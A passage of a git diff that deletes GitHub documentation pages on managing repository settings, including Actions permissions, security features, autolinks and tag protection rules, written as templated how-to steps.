/github/administering-a-repository/managing-repository-settings/disabling-or-limiting-github-actions-for-a-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Actions - - Permissions - - Pull requests -shortTitle: Manage GitHub Actions settings ---- - -{% data reusables.actions.enterprise-github-hosted-runners %} - -## About {% data variables.product.prodname_actions %} permissions for your repository - -{% data reusables.actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see [AUTOTITLE](/actions/learn-github-actions). - -You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.actions.disabled-actions-description %} - -Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions {% ifversion actions-workflow-policy %}and reusable workflows{% endif %} a workflow can run. - -## Managing {% data variables.product.prodname_actions %} permissions for your repository - -You can disable {% data variables.product.prodname_actions %} for a repository, or set a policy that configures which actions{% ifversion actions-workflow-policy %} and reusable workflows{% endif %} can be used in the repository. - -{% data reusables.repositories.settings-permissions-org-policy-note %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Actions permissions", select an option. - - {% data reusables.actions.actions-use-policy-settings %} -1. Click **Save**. - -{% data reusables.actions.allow-specific-actions-intro %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Actions permissions", select {% data reusables.actions.policy-label-for-select-actions-workflows %} and add your required actions to the list. -1. Click **Save**. - -{% ifversion fpt or ghec %} - -## Controlling changes from forks to workflows in public repositories - -{% data reusables.actions.workflow-run-approve-public-fork %} - -You can configure this behavior for a repository using the procedure below. Modifying this setting overrides the configuration set at the organization or enterprise level. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.workflows-from-public-fork-setting %} - -{% data reusables.actions.workflow-run-approve-link %} -{% endif %} - -## Enabling workflows for forks of private repositories - -{% data reusables.actions.private-repository-forks-overview %} - -If a policy is disabled for an {% ifversion ghec or ghes %}enterprise or{% endif %} organization, it cannot be enabled for a repository. - -{% data reusables.actions.private-repository-forks-options %} - -### Configuring the fork policy for a private repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.private-repository-forks-configure %} - -## Setting the permissions of the `GITHUB_TOKEN` for your repository - -{% data reusables.actions.workflow-permissions-intro %} - -The default permissions can also be configured in the organization settings. If your repository belongs to an organization and a more restrictive default has been selected in the organization settings, the same option is selected in your repository settings and the permissive option is disabled. - -{% data reusables.actions.workflow-permissions-modifying %} - -### Configuring the default `GITHUB_TOKEN` permissions - -By default, when you create a new repository in your personal account, `GITHUB_TOKEN` only has read access for the `contents` and `packages` scopes. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.workflows.github-token-access %} -1. Click **Save** to apply the settings. - -### Preventing {% data variables.product.prodname_actions %} from creating or approving pull requests - -{% data reusables.actions.workflow-pr-approval-permissions-intro %} - -By default, when you create a new repository in your personal account, workflows are not allowed to create or approve pull requests. If you create a new repository in an organization, the setting is inherited from what is configured in the organization settings. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under "Workflow permissions", use the **Allow GitHub Actions to create and approve pull requests** setting to configure whether `GITHUB_TOKEN` can create and approve pull requests. -1. Click **Save** to apply the settings. - -{% ifversion ghes or ghec %} - -## Allowing access to components in an internal repository - -{% ifversion internal-actions %}Actions and reusable workflows in your internal repositories can be shared with internal and private repositories in the same organization or enterprise.{% else %}Members of your enterprise can use internal repositories to work on projects without sharing information publicly.{% endif %} For information about internal repositories, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories). - -You can use the steps below to configure whether {% ifversion internal-actions %}actions and {% endif %}reusable workflows in an internal repository can be accessed from outside the repository.{% ifversion internal-actions %} For more information, see [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise). Alternatively, you can use the REST API to set, or get details of the level of access. For more information, see [AUTOTITLE](/rest/actions/permissions#get-the-level-of-access-for-workflows-outside-of-the-repository) and [AUTOTITLE](/rest/actions/permissions#set-the-level-of-access-for-workflows-outside-of-the-repository).{% endif %} - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. -1. Under your repository name, click **{% octicon "gear" aria-hidden="true" %} Settings**. -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under **Access**, choose one of the access settings: - - * **Not accessible** - Workflows in other repositories cannot access this repository. - * **Accessible from repositories in the 'ORGANIZATION NAME' organization** - {% ifversion ghes or ghec %}Workflows in other repositories that are part of the 'ORGANIZATION NAME' organization can access the actions and reusable workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal.{% endif %} - * **Accessible from repositories in the 'ENTERPRISE NAME' enterprise** - {% ifversion ghes or ghec %}Workflows in other repositories that are part of the 'ENTERPRISE NAME' enterprise can access the actions and reusable workflows in this repository. Access is allowed only from private or internal repositories.{% else %}Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal.{% endif %} -1. Click **Save** to apply the settings. -{% endif %} - -## Allowing access to components in a private repository - -Actions and reusable workflows in your private repositories can be shared with other private repositories {% ifversion fpt %}owned by the same user or organization{% else %}in the same organization or enterprise{% endif %}. For information about private repositories, see [AUTOTITLE](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility). - -You can use the steps below to configure whether actions and reusable workflows in a private repository can be accessed from outside the repository. For more information, see {% ifversion fpt %}[AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-from-your-private-repository) and [AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-organization).{% else %}[AUTOTITLE](/actions/creating-actions/sharing-actions-and-workflows-with-your-enterprise).{% endif %} Alternatively, you can use the REST API to set, or get details of the level of access. For more information, see [AUTOTITLE](/rest/actions/permissions#get-the-level-of-access-for-workflows-outside-of-the-repository) and [AUTOTITLE](/rest/actions/permissions#set-the-level-of-access-for-workflows-outside-of-the-repository). - -{% ifversion fpt %} - -### Managing access for a private repository - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the private repository. -1. Under your repository name, click **{% octicon "gear" aria-hidden="true" %} Settings**. -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under **Access**, choose one of the access settings: - - * **Not accessible** - Workflows in other repositories cannot access this repository. - * **Accessible from repositories owned by 'USER NAME' user** - Workflows in other repositories that are owned by the same user can access the actions and reusable workflows in this repository. Access is allowed only from private repositories. -1. Click **Save** to apply the settings. - -{% endif %} - -{% ifversion fpt %} - -### Managing access for a private repository in an organization - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the private repository. -1. Under your repository name, click **{% octicon "gear" aria-hidden="true" %} Settings**. -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under **Access**, choose one of the access settings: - - * **Not accessible** - Workflows in other repositories cannot access this repository. - * **Accessible from repositories in the 'ORGANIZATION NAME' organization** - Workflows in other repositories that are part of the 'ORGANIZATION NAME' organization can access the actions and reusable workflows in this repository. Access is allowed only from private repositories. -1. Click **Save** to apply the settings. - -{% endif %} - -{% ifversion fpt %}{% else %} - -1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the private repository. -1. Under your repository name, click **{% octicon "gear" aria-hidden="true" %} Settings**. -{% data reusables.repositories.settings-sidebar-actions-general %} -1. Under **Access**, choose one of the access settings: - * **Not accessible** - Workflows in other repositories cannot access this repository. - * **Accessible from repositories in the 'ORGANIZATION NAME' organization** - Workflows in other repositories that are part of the 'ORGANIZATION NAME' organization can access the actions and reusable workflows in this repository. Access is allowed only from private repositories. - * **Accessible from repositories in the 'ENTERPRISE NAME' enterprise** - Workflows in other repositories that are part of the 'ENTERPRISE NAME' enterprise can access the actions and reusable workflows in this repository. Access is allowed only from private repositories. -1. Click **Save** to apply the settings. -{% endif %} - -## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository - -You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. - -{% data reusables.actions.about-artifact-log-retention %} - -You can also define a custom retention period for a specific artifact created by a workflow. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact). - -## Setting the retention period for a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.change-retention-period-for-artifacts-logs %} - -{% ifversion ghes %} - -## Configuring cache storage for a repository - -{% data reusables.actions.cache-default-size %} However, these default sizes might be different if an enterprise owner has changed them. {% data reusables.actions.cache-eviction-process %} - -You can set a total cache storage size for your repository up to the maximum size allowed by the organization or enterprise policy settings. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.settings-sidebar-actions-general %} -{% data reusables.actions.change-cache-size-limit %} - -{% endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md deleted file mode 100644 index 128741af1cb0..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository.md +++ /dev/null @@ -1,105 +0,0 @@ ---- -title: Managing security and analysis settings for your repository -intro: 'You can control features that secure and analyze the code in your project on {% data variables.product.prodname_dotcom %}.' -permissions: People with admin permissions to a repository can manage security and analysis settings for the repository. -redirect_from: - - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization-s-repositories - - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organizations-repositories - - /articles/managing-alerts-for-vulnerable-dependencies-in-your-organization - - /github/managing-security-vulnerabilities/managing-alerts-for-vulnerable-dependencies-in-your-organization - - /github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository - - /github/administering-a-repository/managing-repository-settings/managing-security-and-analysis-settings-for-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Dependabot - - Alerts - - Code Security - - Dependency graph - - Secret scanning - - Repositories -shortTitle: Security & analysis ---- - -{% ifversion dependabot-alerts-enterprise-enablement %} - -> [!NOTE] -> When {% data variables.product.prodname_dependabot_alerts %} are enabled or disabled at the enterprise level, it overrides the repository level settings for {% data variables.product.prodname_dependabot_alerts %}. For more information, see [AUTOTITLE](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts#managing-dependabot-alerts-for-your-enterprise). - -{% endif %} - -## About security and analysis settings for your repository - -{% data variables.product.github %} offers a number of different security features that you can enable for your repository to -protect your code from vulnerabilities, unauthorized access, and other potential security threats. {% ifversion fpt or ghec %}Many of these features are available for **free for public repositories**.{% endif %} - -{% ifversion fpt or ghec %} - -## Enabling or disabling security and analysis features for public repositories - -You can manage a subset of security and analysis features for public repositories. - -At a minimum, you should enable the following for your public repository: - -* **{% data variables.product.prodname_dependabot_alerts %}** notify you of security vulnerabilities in your project's dependency network, so that you can update the affected dependency to a more secure version. -* **{% data variables.product.prodname_secret_scanning_caps %}** scans your repository for secrets (such as API keys and tokens) and alerts you if a secret is found, so that you can remove the secret from your repository. -* **Push protection** prevents you (and your collaborators) from introducing secrets to the repository in the first place, by blocking pushes containing supported secrets. -* **{% data variables.product.prodname_code_scanning_caps %}** identifies vulnerabilities and errors in your repository's code, so that you can fix these issues early and prevent a vulnerability or error being exploited by malicious actors. - -Other features are permanently enabled for public repositories, such as the dependency graph, which shows you all the libraries and packages that your repository depends upon. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, click **Disable** or **Enable**. - -{% endif %} - -## Enabling or disabling security and analysis features{% ifversion fpt or ghec %} for private repositories{% endif %} - -You can manage the security and analysis features for your {% ifversion fpt or ghec %}private or internal {% endif %}repository. If your enterprise or organization has a license for {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} or {% data variables.product.prodname_GH_secret_protection %}{% else %}{% data variables.product.prodname_GHAS %}{% endif %}, then extra options are available. {% data reusables.advanced-security.more-info-ghas %} - -{% data reusables.security.security-and-analysis-features-enable-read-only %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "{% data variables.product.UI_advanced_security %}", to the right of the feature, click **Disable** or **Enable**. {% ifversion not fpt %}The control for "{% data variables.product.prodname_GH_advanced_security %}" is disabled if your enterprise has no available licenses for {% data variables.product.prodname_GH_advanced_security %} features.{% endif %} - - > [!NOTE] - > If you disable {% ifversion ghas-products %}{% data variables.product.prodname_GH_code_security %} and {% data variables.product.prodname_GH_secret_protection %}{% else %}{% data variables.product.prodname_GH_advanced_security %}{% endif %}, dependency review, {% data variables.secret-scanning.user_alerts %} and {% data variables.product.prodname_code_scanning %} are disabled. Any workflows, SARIF uploads, or API calls for {% data variables.product.prodname_code_scanning %} will fail. If {% data variables.product.prodname_GH_code_security %} is re-enabled, {% data variables.product.prodname_code_scanning %} will return to its previous state. - -## Granting access to security alerts - -{% data variables.product.github %} security alerts are automated notifications that inform you when vulnerabilities are found in your repository's dependencies or code. They prompt you to review and remediate these issues, helping to keep your project secure. - -You can find security alerts from {% data variables.product.prodname_dependabot %}, {% data variables.product.prodname_secret_scanning_caps %}, and {% data variables.product.prodname_code_scanning_caps %} under your repository's **Security** tab. - -Security alerts for a repository are visible to people with write, maintain, or admin access to the repository and, when the repository is owned by an organization, organization owners. You can give additional teams and people access to the alerts. - -> [!NOTE] -> Organization owners and repository administrators can only grant access to view security alerts, such as {% data variables.secret-scanning.alerts %}, to people or teams who have write access to the repo. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Access to alerts", in the search field, start typing the name of the person or team you'd like to find, then click a name in the list of matches. -1. Click **Save changes**. - -## Removing access to security alerts - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -1. Under "Access to alerts", to the right of the person or team whose access you'd like to remove, click {% octicon "x" aria-label="Revoke USER's vulnerability access " %}. - - ![Screenshot of the list of users with access to alerts. To the right of @octocat, an x icon is outlined in dark orange.](/assets/images/help/repository/security-and-analysis-security-alerts-username-x.png) -1. Click **Save changes**. - -## Further reading - -* [AUTOTITLE](/code-security/getting-started/securing-your-repository) -* [AUTOTITLE](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization) diff --git a/content/repositories/managing-your-repositorys-settings-and-features/index.md b/content/repositories/managing-your-repositorys-settings-and-features/index.md deleted file mode 100644 index d808450d1479..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/index.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: Managing your repository’s settings and features -intro: 'You can customize your repository, enable or disable optional features for your repository, and manage your repository’s settings.' -redirect_from: - - /categories/administering-a-repository - - /articles/managing-repository-settings - - /github/administering-a-repository/managing-repository-settings -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /customizing-your-repository - - /enabling-features-for-your-repository - - /managing-repository-settings -shortTitle: Manage repository settings ---- diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md deleted file mode 100644 index 4d3d1bc517d7..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository.md +++ /dev/null @@ -1,51 +0,0 @@ ---- -title: About email notifications for pushes to your repository -intro: You can choose to automatically send email notifications to a specific email address when anyone pushes to the repository. -permissions: People with admin permissions in a repository can enable email notifications for pushes to your repository. -redirect_from: - - /articles/managing-notifications-for-pushes-to-a-repository - - /articles/receiving-email-notifications-for-pushes-to-a-repository - - /articles/about-email-notifications-for-pushes-to-your-repository - - /github/receiving-notifications-about-activity-on-github/about-email-notifications-for-pushes-to-your-repository - - /github/administering-a-repository/about-email-notifications-for-pushes-to-your-repository - - /github/administering-a-repository/managing-repository-settings/about-email-notifications-for-pushes-to-your-repository -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Email notifications for pushes ---- -{% data reusables.notifications.outbound_email_tip %} - -Each email notification for a push to a repository lists the new commits and links to a diff containing just those commits. In the email notification you'll see: - -* The name of the repository where the commit was made -* The branch a commit was made in -* The SHA1 of the commit, including a link to the diff in {% data variables.product.github %} -* The author of the commit -* The date when the commit was made -* The files that were changed as part of the commit -* The commit message - -You can filter email notifications you receive for pushes to a repository. For more information, see [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#filtering-email-notifications). - -{% ifversion ghec %} - ->[!NOTE] Notifications for pushes to your repository will bypass restrictions for email notifications to verified domains configured in your enterprise account or organization. - -{% endif %} - -## Enabling email notifications for pushes to your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.sidebar-notifications %} -1. In the "Address" field, type up to two email addresses, separated by whitespace, where you'd like notifications to be sent. If you'd like to send emails to more than two accounts, set one of the email addresses to a group email address. -1. If you operate your own server, you can verify the integrity of emails via the "Approved header." The "Approved header" is a token or secret that you type in this field, and that is sent with the email. If the `Approved` header of an email matches the token, you can trust that the email is from {% data variables.product.github %}. -1. Click **Setup notifications**. - -## Further reading - -* [AUTOTITLE](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications) diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md deleted file mode 100644 index becde5bd19ec..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-autolinks-to-reference-external-resources.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Configuring autolinks to reference external resources -intro: You can add autolinks to external resources like JIRA issues and Zendesk tickets to help streamline your workflow. -product: '{% data reusables.gated-features.autolinks %}' -redirect_from: - - /articles/configuring-autolinks-to-reference-external-resources - - /github/administering-a-repository/configuring-autolinks-to-reference-external-resources - - /github/administering-a-repository/managing-repository-settings/configuring-autolinks-to-reference-external-resources -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -shortTitle: Configure autolinks ---- - -## About autolinks - -Anyone with admin permissions to a repository can configure autolink references to link issues, pull requests, commit messages, and release descriptions to external third-party services. - -Autolink references can now accept alphanumeric characters. When originally introduced, custom autolinks were limited to external resources that used numeric identifiers. Custom autolinks now work with alphanumeric and numeric identifiers. - -You define custom autolinks by specifying a reference prefix and a target URL. -* Reference prefixes cannot have overlapping names. For example, a repository cannot have two custom autolinks with prefixes such as `TICKET` and `TICK`, since both prefixes would match the string `TICKET123a`. -* Target URLs include a `` variable which represents the reference identifier of the linked resource. - -## Configuring autolinks to reference external resources - -This procedure demonstrates how to configure autolinks to reference external resources. For example, if you use Zendesk to track user-reported tickets, you can reference a ticket number in the pull request you opened to fix the issue. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Integrations" section of the sidebar, click **{% octicon "cross-reference" aria-hidden="true" %} Autolink references**. -1. At the top right of the page, click **Add autolink reference**. - - ![Screenshot of the "autolink references" page. The "Add autolink reference" button is highlighted by a dark orange outline.](/assets/images/help/repository/add-autolink-reference-details.png) -1. Select the format of the reference identifier used in the external resource, either **Alphanumeric** or **Numeric**. -1. Under "Reference prefix", type a short, meaningful prefix. Collaborators will use this text to generate autolinks for the external resource. -1. Under "Target URL", type the format of the link to the external system you want to create. Use the `` variable as a placeholder for the reference identifier. -1. Review the preview and verify that the autolink and external reference are both correct, then click **Add autolink reference** to define the link. - -For example, you might enter the following. -* Reference prefix: `JIRA-` -* Target URL: `https://jira.example.com/issue?query=` -* Preview: `JIRA-123` is converted to `https://jira.example.com/issue?query=123` diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md deleted file mode 100644 index 789f89459bcf..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/configuring-tag-protection-rules.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Configuring tag protection rules -shortTitle: Tag protection rules -intro: You can configure tag protection rules for your repository to prevent contributors from creating or deleting tags. -versions: - ghes: '<3.16' ---- - ->[!NOTE] Tag protection rules are {% data variables.release-phases.closing_down %} in {% data variables.product.prodname_ghe_server %} version 3.16 and later. Use rulesets instead. Any tag protection rules still in use will be auto-migrated. You can read more about this on the [{% data variables.product.prodname_blog %}](https://github.blog/changelog/2024-05-29-sunset-notice-tag-protections). - -When you add a tag protection rule, all tags that match the pattern provided will be protected. Only users with admin or maintain permissions, or custom roles with the "edit repository rules" permission in the repository will be able to create protected tags, and only users with admin permissions or custom roles with the "edit repository rules" permission in the repository will be able to delete protected tags. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/repository-roles-for-an-organization#permissions-for-each-role). {% data variables.product.prodname_github_apps %} require the `Repository administration: write` permission to modify a protected tag. - -Additionally, you can create custom repository roles to allow other groups of users to create or delete tags that match tag protection rules. For more information, see [AUTOTITLE](/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-custom-repository-roles-for-an-organization). - -{% ifversion tag-protection-rules-import %} - -### About importing tag protection rules to repository rulesets - -You can import existing tag protection rules into repository rulesets. This will implement the same tag protections you currently have in place for your repository. For more information, see [Importing tag protection rules to repository rulesets](#importing-tag-protection-rules-to-repository-rulesets). - -Rulesets have the following advantages over tag protection rules. - -* Unlike protection rules, multiple rulesets can apply at the same time, so you can be confident that every rule targeting a tag in your repository will be evaluated when someone interacts with that tag. For more information, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-rulesets/about-rulesets#about-rule-layering). -* Rulesets have statuses, so you can easily manage which rulesets are active in a repository without needing to delete rulesets. -* Anyone with read access to a repository can view the active rulesets for the repository. This means a developer can understand why they have hit a rule, or an auditor can check the security constraints for the repository, without requiring admin access to the repository. -* With rulesets, you can restrict tag names on an organization-wide basis. - -{% endif %} - -## Adding tag protection rules - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-tags %} -1. Click **New rule**. -1. Under "Tag name pattern", type the pattern of the tags you want to protect. Tag protection rules use `fnmatch` syntax. For information about syntax options, see the [fnmatch documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch). In this example, typing "\*" protects all tags. - - ![Screenshot of the "Protected tags / New rule" page. The example pattern `*` is shown with the "Add rule" button. ](/assets/images/help/repository/tag-protection-rule.png) - -1. Click **Add rule**. - -{% ifversion tag-protection-rules-import %} - -## Importing tag protection rules to repository rulesets - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-tags %} -1. Click **Import to rulesets** in the upper right corner. -1. Select **Create separate rulesets for creating and deleting protected tags** or **Create one ruleset for all protected tag operations**. Once created, the rulesets can be edited to further refine their behavior. -1. Click **Import**. - -{% endif %} diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md deleted file mode 100644 index 863b749fa4c8..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Enabling anonymous Git read access for a repository -intro: 'As a repository administrator, you can enable or disable anonymous Git read access for public repositories that meet certain requirements.' -redirect_from: - - /articles/enabling-anonymous-git-read-access-for-a-repository - - /github/administering-a-repository/enabling-anonymous-git-read-access-for-a-repository - - /github/administering-a-repository/managing-repository-settings/enabling-anonymous-git-read-access-for-a-repository -versions: - ghes: '*' -shortTitle: Anonymous Git read access ---- -Repository administrators can change the anonymous Git read access setting for a specific repository if: -* A site administrator has enabled private mode and anonymous Git read access. -* The repository is public on the enterprise and is not a fork. -* A site administrator has not disabled anonymous Git read access for the repository. - -{% data reusables.enterprise_user_management.exceptions-for-enabling-anonymous-git-read-access %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. In the "Danger zone" section, next to "Enable anonymous Git read access", click **Enable**. -1. Review the changes. To confirm, type in the name of the repository and click **I understand, enable anonymous Git read access.** diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md deleted file mode 100644 index e79e561d3b9d..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Managing repository settings -intro: You can choose the way your repository functions by managing repository settings. -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories -children: - - /setting-repository-visibility - - /managing-teams-and-people-with-access-to-your-repository - - /managing-the-forking-policy-for-your-repository - - /managing-pull-request-reviews-in-your-repository - - /managing-the-commit-signoff-policy-for-your-repository - - /managing-the-push-policy-for-your-repository - - /managing-git-lfs-objects-in-archives-of-your-repository - - /enabling-anonymous-git-read-access-for-a-repository - - /about-email-notifications-for-pushes-to-your-repository - - /configuring-autolinks-to-reference-external-resources - - /configuring-tag-protection-rules -shortTitle: Manage repository settings ---- - diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md deleted file mode 100644 index 15732cc28bf0..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing Git LFS objects in archives of your repository -shortTitle: 'Managing {% data variables.large_files.product_name_short %} objects in archives' -intro: 'You can choose whether {% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) objects are included in source code archives created for your repository.' -permissions: 'People with admin permissions for a repository can manage whether {% data variables.large_files.product_name_short %} objects are included in archives of the repository.' -versions: - fpt: '*' - ghec: '*' -topics: - - Repositories -redirect_from: - - /github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository - - /github/administering-a-repository/managing-repository-settings/managing-git-lfs-objects-in-archives-of-your-repository ---- -## About {% data variables.large_files.product_name_short %} objects in archives - -{% data variables.product.github %} creates [source code archives](/repositories/working-with-files/using-files/downloading-source-code-archives) of your repository in the form of ZIP files and tarballs. People can download these archives on the main page of your repository or as release assets. By default, {% data variables.large_files.product_name_short %} objects are not included in these archives, only the pointer files to these objects. To improve the usability of archives for your repository, you can choose to include the {% data variables.large_files.product_name_short %} objects instead. To be included, the {% data variables.large_files.product_name_short %} objects must be covered by tracking rules in a _.gitattributes_ file that has been committed to the repository. - -If you choose to include {% data variables.large_files.product_name_short %} objects in archives of your repository, every download of those archives will count towards bandwidth usage for your account. Each account receives {% data variables.large_files.initial_bandwidth_quota %} per month of bandwidth for free, and you can pay for additional usage. For more information, see [AUTOTITLE](/repositories/working-with-files/managing-large-files/about-storage-and-bandwidth-usage) and [AUTOTITLE](/billing/managing-billing-for-your-products/managing-billing-for-git-large-file-storage). - -If you use an external LFS server (configured in your _.lfsconfig_), those LFS files will not be included in archives of the repository. The archive will only contain files that have been committed to {% data variables.product.github %}. - -## Managing {% data variables.large_files.product_name_short %} objects in archives - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Archives", select or deselect **Include {% data variables.large_files.product_name_short %} objects in archives**. diff --git a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md b/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md deleted file mode 100644 index c0440454efbc..000000000000 --- a/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-pull-request-reviews-in-your-repository.md +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: Managing pull request reviews in your repository -intro: You can limit which users can approve or request changes to a pull requests in a public repository. -versions: - feature: pull-request-approval-limit -permissions: Repository administrators can limit which users can approve or request changes to a pull request in a public repository. -topics: - - Repositories - - Pull requests -shortTitle: Manage pull request reviews ---- - -## About code review limits - -By default, in public repositories, any user can submit reviews that approve or request changes to a pull request. - -You can limit which users are able 